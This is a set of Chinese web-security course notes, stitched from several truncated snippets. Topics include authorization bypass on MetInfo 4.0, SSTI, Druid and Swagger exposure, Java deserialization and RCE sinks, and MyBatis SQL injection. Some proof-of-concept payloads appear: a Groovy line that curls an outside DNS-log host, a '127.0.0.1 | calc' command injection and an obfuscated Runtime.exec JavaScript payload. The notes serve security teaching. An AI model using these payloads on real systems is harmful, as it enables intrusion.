MetInfo4.0漏洞演示水平越权定义:同权限的用户进行越权操作
首先创建两个用户:xiaodi1和xiaodi2
用其中一个用户进行修改密码的操作,然后将修改密码的数据包抓取到。
改成同为普通用户的xiaodi1
这个时候在用修改的密码去登陆xiaodi1用户,就可以发现登陆成功。
垂直越权定义:从低到高的权限跨越,当然从高到低也可以叫垂直越权(但是没有什么作用)
发现同样可以修改成功。
未授权定义:前面两种都是基于一个低权限,但是未授权,就是没有权限都可以进行访问。
发现还是可以修改成功。
工具真实情况下,批量跑才会用到,一般一对一测,目标很少的时候基本不用
BP 检测插件:
xia_Yue 的 GitHub 地址:
https://github.com/smxiazi/xia_Yue
这个感觉,可能就比自己测试快一丢丢?
感觉也不怎么好用
auth-analyzer-plus 的 GitHub 地址:
https://github.com/VVeakee/auth-analyzer-plus
这个也没演示
检测项目:
GitHub 地址 ...
知识点
Python-PYC - 反编译文件出源码
Python - 反序列化 - 调用链 & 魔术方法
Python - 格式化字符串 - 类魔术方法引用
转载:https://www.suyou.world/index.php/2024/01/23/%e7%ac%ac71%e5%a4%a9%ef%bc%9aweb%e6%94%bb%e9%98%b2-python%e5%ae%89%e5%85%a8%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%88%a9%e7%94%a8%e9%93%bepyc%e6%96%87%e4%bb%b6%e5%8f%8d%e7%bc%96%e8%af%91%e6%a0%bc/
演示案例Python-PYC - 反编译文件出源码简介
pyc 文件是 py 文件编译后生成的字节码文件 (byte code),pyc 文件经过 python 解释器最终会生成机器码运行。因此 pyc 文件是可以跨平台部署的,类似 Java 的.class 文件,一般 py 文件改变后,都会重新生成 pyc 文件。
演示
小迪演示的真题 ...
知识点Python 安全 - SSTI 注入 - 类型 & 形成 & 利用 & 项目
转载:https://www.suyou.world/index.php/2024/01/22/%E7%AC%AC70%E5%A4%A9%EF%BC%9Aweb%E6%94%BB%E9%98%B2-python%E5%AE%89%E5%85%A8ssti%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5jinja2%E5%BC%95%E6%93%8E%E5%88%A9%E7%94%A8%E7%BB%95%E8%BF%87%E9%A1%B9%E7%9B%AE/
演示案例Python-SSTI 注入 - 类型 & 形成 & 利用 & 项目什么是 SSTI
SSTI(Server Side Template Injection,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分
在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容
从而导致信息泄露、代码执行、GetShell 等问题,其影响范 ...
Java安全-Druid监控-未授权访问&信息泄漏Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。
黑盒发现参考:https://cloud.tencent.com/developer/article/1771986
攻击点:直接拼接URL路径,尝试能否直接未授权访问系统功能点。结合泄露URL路径和Session信息,利用BurpSuite进行尝试登录。利用Cookie编辑器替换Session,再次访问后台路径尝试进入后台
白盒发现在项目源码配置文件中搜索druid关键字
Java安全-Swagger接口-导入&联动批量测试Swagger是一个用于生成、描述和调用RESTful接口的Web服务。就是将项目中所有(想要暴露的)接口展现在页面上,并可以进行接口调用和测试的服务。所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql注入、文件上传等漏洞。由于接口太多,一个个接口测试的话太费时间,所以一般会采用自 ...
Java 安全 - 反序列化 - 原生序列化类函数简介
序列化是将 Java 对象转换成字节流的过程。而反序列化是将字节流转换成 Java 对象的过程
java 序列化的数据一般会以标记 (ac ed 00 05) 开头,base64 编码的特征为 rO0AB (面试可能会问到,记住即可)
JAVA 常见的序列化和反序列化的方法有 JAVA 原生序列化和 JSON 类(fastjson、jackson)序列化等。
发现
黑盒发现(流量捕获,简介中第二条)
白盒发现(特征类接口函数,下面的函数类)
原生序列化类函数:
SnakeYaml:完整的 YAML1.1 规范 Processor,支持 Java 对象的序列化 / 反序列化
XMLDecoder:xml 语言格式序列化类函数接口
ObjectInputStream.readObject ():任何类如果想要序列化必须实现 java.io.Serializable 接口
利用项目基于 - ObjectInputStream.readObject () 的利用工具
Yakit: https://yaklang.com ...
执行命令,得到输出结果。
RuntimeExec
GroovyExec
1"curl bt3509.dnslog.cn".execute()
ProcessImpl
ProcessBuilder
1127.0.0.1 | calc
ScriptEngineManager
首先将payload保存到一个可以远程访问的js文件中:
1234var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")};var a = mainOutput(); function mainOutput() { var x=java.lang.\/****\/Runtime.getRuntime().exec("calc");}
总结
主要是来熟悉触发 java 的 RCE 的几个类和函数,后期发现和审计漏洞的时候直接搜相关类和函数即可
检测:(大部分白 ...
两个靶场的搭建:就是配置好一下数据库,重新打包一下,然后将sql文件导入之后就行
123#两个靶场的项目地址:https://github.com/bewhale/JavaSechttps://github.com/j3ers3/Hello-Java-Sec
SQL注入JDBC
右边的代码,对应的是这种写法的安全模式,如果你非要使用变量的方式,需要有黑或者白名单进行过滤
Mybatis
12345678910mybatis支持两种参数符号,一种是#,另外一种是$,#使用预编译,$使用拼接sql。1、order by注入:由于使用#{}会将对象转换成字符串,形成order by "user" desc 造成错误。因此很多研发会采用:${}来解决问题。从而造成注入。2、like注入:模糊搜索时,直接使用'%#{q}'会报错,部分研发图方便直接改成'%${q}%'从而造成注入3、in注入:in之后多个id查询的时候使用 # 同样会报错,从而造成注入示例:@Sel ...
针对 JS 开发应用
密码登录枚举爆破,参数提交漏洞检测
密码和参数需要加密后进行提交
泄漏 URL 有更多测试
前置知识1234567891011121、作用域:(本地&全局)简单来说就是运行后相关的数据值2、调用堆栈:(由下到上)简单来说就是代码的执行逻辑顺序3、常见分析调试:这四种方法针对不同对象(搜索一般用来对付简单的,复杂点的就得用断点了)-代码全局搜索-文件流程断点(执行的代码经过哪些文件)-代码标签断点-XHR提交断点
代码全局搜索
在网站刷新的时候,找到关键的数据包(这个需要根据经验)如上图,然后将其路径进行复制:
123Vip/LoginResultctrl+shift+F进行搜索
这里对这里有一个logindata,从名称来看就是对登陆数据进行处理的。所以这里跟进这函数
所以再去源代码中进行搜索:
所以这里我们在控制台的时候也要先创建一个对象,然后才可以调用他。
文件流程断点:审查元素抓网络请求包发起程序
调用堆栈的代码处理逻辑是从下往上看,我们重点关注Login部分,猜测这个部分应该就是数据加密到提交的过程。点击右侧的js地址, ...










